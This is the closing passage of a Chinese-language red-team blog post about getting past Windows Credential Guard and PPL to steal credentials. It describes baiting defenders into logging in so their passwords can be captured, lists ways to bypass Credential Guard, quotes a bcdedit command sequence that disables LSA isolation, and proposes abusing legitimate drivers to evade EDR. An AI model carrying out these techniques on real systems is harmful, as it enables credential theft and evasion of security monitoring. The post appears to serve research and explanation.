这招是高手之间心照不宣的秘籍之一—我也会每次都故意搞出一点动静让等待防守方登录进来,随后在启用明文的机器中耐心等待几个小时拿到应急账户的密码,而大部分情况下这个应急的账户权限都非常高,哈哈哈,真实的世界远比靶场/CTF更有意思,点到为止,我们进去回去看一下关键代码,如下:

现在已经非常清晰了,绕过Credential Guard的前置条件是要能完全打开lsass.exe,并且能够修改这个进程区域的内存
OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid) // must be fail in ppl

不要忘记了本文开头的PPL,PPL会阻止我们以完全的权限打开这个句柄,如果lsass进程没有受PPL保护自然可以使用这种技术。我使用严谨的说法是bypass PPL而不是击败PPL,驱动帮我们直接读取了物理内存,PPL的机制依然工作的很好。
上面的技术对同时启用Credential Guard和PPL的机器就无能为力了,一般安全研究员和红队正面击败Credential Guard读取出内存来是不可能的,击败Credential Guard意味至少需要Hypervisor漏洞利用或者是类似Meltdown CPU级别的漏洞,这种漏洞相当于击碎了全世界的信任,少说得化神后期乃至炼虚期的修为,作者我目前肯定是没有这个正面击败这个实力了,要是能击败这个我就说我自己是全世界最强也一点不夸张,不过我知道几种变通的绕过方法:
- 注册表修改禁用Credential Guard,之后随后重启计算机(众所周知的方法,优点是有手就行,缺点机器重启清空原先的缓存票据情况,可能被管理员发现,而且不适合红队项目)
- 使用DumpGuard ,利用rpc机制直接和lsaiso沟通拿到NTLMv1/NTLMv2 (最近新出的方法,优点是只需要system权限,缺点是拿到的NTLMv1v2还是得送到hastcat去破解,不一定能破解成功)
- 使用Rootikit技术注入被PPL保护的lsass,随后再次用类似的技术启用WDigest(顶级的方法,优点是不需要重启系统,缺点是需要一个驱动漏洞,也要和之前一样耐心等待用户登录上来)
UEFI 锁定 Credential Guard 和 Windows Hello 登录技术 话题
我最近有一位朋友和我分享了这样一个金融安全评估的项目,他使用上面三种都失败了:
- 他:最近怎么样?我使用XXX pacth内存,每次重启Credential Guard还是在,这是怎么回事?
- 我:最可能是UEFI锁定,你去检查一下安全启动的参数?
- 我:可能是这样,不过也有可能是EDR干扰导致每次被EDR改回来了
- ······一段时间
- 他:还真是,但是用rootkit注入进去按理来说应该不应该widgest都没用啊?
- 我:嗯,真奇怪,让我去查一下资料
- ·······
正好失业在家研究时间比较多,我重新完整看了一遍《深入解析windows系统操作系统 7版》,在510页我碰巧看书里面提及了windows hello登录技术:

书中提了一嘴这个技术,windows hello在我们的家用win 11都有了,这个PIN区别于普通密码,Windows Hello PIN 由受信任的平台模块 (TPM) 芯片支持,完全在设备中的另一个硬件计算空间,lsass被彻底抛开了,也就没什么dump lsass的必要性了,OS下的lsass再也没有任何凭据了,这个进程变成了一个代理进程,身份认证的计算完全交给OS之外的空间,也就是TPM+完全独立的VTL1空间

- 我:……(大概把原理说了一下)
- 他:ok,那有没有办法保存凭据?虽然可以直接steal token,复用登录用户的会话,每次注销token会直接被吊销,时间太短了
- 我:kerberos还是能正常工作的吧,理论上在用户注销前导出已经有的TGT/TGS应该够用一段时间了,如果没记错可以直接续订三四天时间,还有一种时间更长方法,如果权限够应该申请ADCS证书来维持权限,具体得查资料,细节我也记不清楚了
- 他:我擦,我居然也忘记了,用户注销不会直接在域控吊销TGT/TGS,被你这么一说突然想起来了
- 我:我也才想起来,正常碰不到这么硬的环境,这种方法用的少,基本上直接就导出hash了,不常用忘记也是正常的
有个另一个朋友加入讨论反驳我,说可以绕过UEFI lock,贴来了如下命令:
mountvol X: /s
copy %WINDIR%\System32\SecConfig.efi X:\EFI\Microsoft\Boot\SecConfig.efi /Y
bcdedit /create {0cb3b571-2f2e-4343-a879-d86a476d7215} /d "DebugTool" /application osloader
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} path "\EFI\Microsoft\Boot\SecConfig.efi"
bcdedit /set {bootmgr} bootsequence {0cb3b571-2f2e-4343-a879-d86a476d7215}
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} loadoptions DISABLE-LSA-ISO
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} device partition=X:
mountvol X: /d
这位朋友说的差点给我整不自信了,我认真查找了一下官方文档,“攻击者必须亲自在重启的机器UEFI固件界面确认”,具体请看文档, 远程的黑客是没办法了,弹个UEFI告警出来生怕对面没发现吗?
举一反三
查阅资料的时候,看到有一位大佬写了一个原神驱动作弊分析的文章引起的我的注意,游戏驱动里面的内核反调试分析,加载这个驱动后,尝试启动内核调试器,结果直接就被剥离了。

大佬分析模拟执行遇到了一个问题,要独立加载这个驱动需要往注册表写下一个 ConfigData,这也意味着我们也必须要写这个注册表才能加载获得驱动对抗的能力,我就懒得搞了,本篇篇幅已经过长,读者有兴趣可以搞一下

理论上加载这个反作弊的驱动就能作用全局windows内核,阻止对这个系统进行内核调试,这听起来怎么有点像rootkit的技术?而且甚至不需要黑客自己写了,只要带上这个驱动就能获得阻止分析师调试内核的能力,还将rootkit对抗成本转移到了游戏厂商,看来这类滥用合法驱动还是rootkit的好伙伴。
BYOAD (Bring Your Own Abusable Driver)
区别于BYOVD技术利用驱动内存类漏洞,这种滥用完全合法驱动功能的技术,不涉及任何漏洞利用,我决定将称之为:带上你的合法驱动,英文名就叫BYOAD(Bring Your Own Abusable Driver),由于这些压根不是漏洞,所以压根就没有修复漏洞的说法,也永远不可能进Microsoft recommended driver block rules,理论上可以一直用很久,应该用个10到20年应该没问题。
虽然可以愉快的总结了,但是我突然想起来举一反三似乎还少一个,就在结尾前补充一个案列—银狐病毒早年利用手游模拟器的驱动和360的不兼容性,加载来削弱360的能力(现已经失效,被360拉黑了),似乎也可以看作一个利用完全合法的驱动对抗的例子。
总结
总算写完了这篇,可以看到在2026年的终端对抗已经进入神仙打架的阶段了,与其继续浪费时间在用户态下猫捉老鼠不如直接玩驱动干内核。读者如果觉的阅读困难,一头雾水或者难以理解也是正常的,因为涉及到的知识点实在是太多了,就连我作者本人也花了足足花了上千个小时,才真正理解了这些知识,作者我也很难通过一篇文章将我阅读接近百万的资料和代码压缩到一篇文章讲解的十分透彻,读者如果想要真正的理解一定要亲自逆向驱动、编写代码去实践。休息一段时间后,我后续会分享如何编写现代化的rootkit真正终结和AV/EDR的猫捉老鼠游戏,个人水平有限,如有错误及时指出。
参考资料:
https://www.microsoftpressstore.com/articles/article.aspx?p=2201309 https://www.unknowncheats.me/forum/general-programming-and-reversing/319754-leak-eprocess-kprocess-usermode.html https://xia0ji233.pro/2025/02/14/Game6/index.html https://learn.microsoft.com/en-au/windows-hardware/drivers/debugger/converting-virtual-addresses-to-physical-addresses https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_protection_level_information https://www.outflank.nl/blog/2023/12/14/mapping-virtual-to-physical-adresses-using-superfetch/ https://myzxcg.com/2024/03/%E5%87%A0%E7%A7%8D%E6%8C%96%E6%8E%98%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%86%99%E9%A9%B1%E5%8A%A8%E7%9A%84%E6%96%B9%E6%B3%95/ https://de-engineer.github.io/Virtual-Address-Translation-and-structure-of-PTE/ https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntexapi_x/kuser_shared_data/index.htm https://codemachine.com/articles/x64_kernel_virtual_address_space_layout.html https://itm4n.github.io/credential-guard-bypass/ https://learn.microsoft.com/zh-tw/windows/security/identity-protection/hello-for-business/how-it-works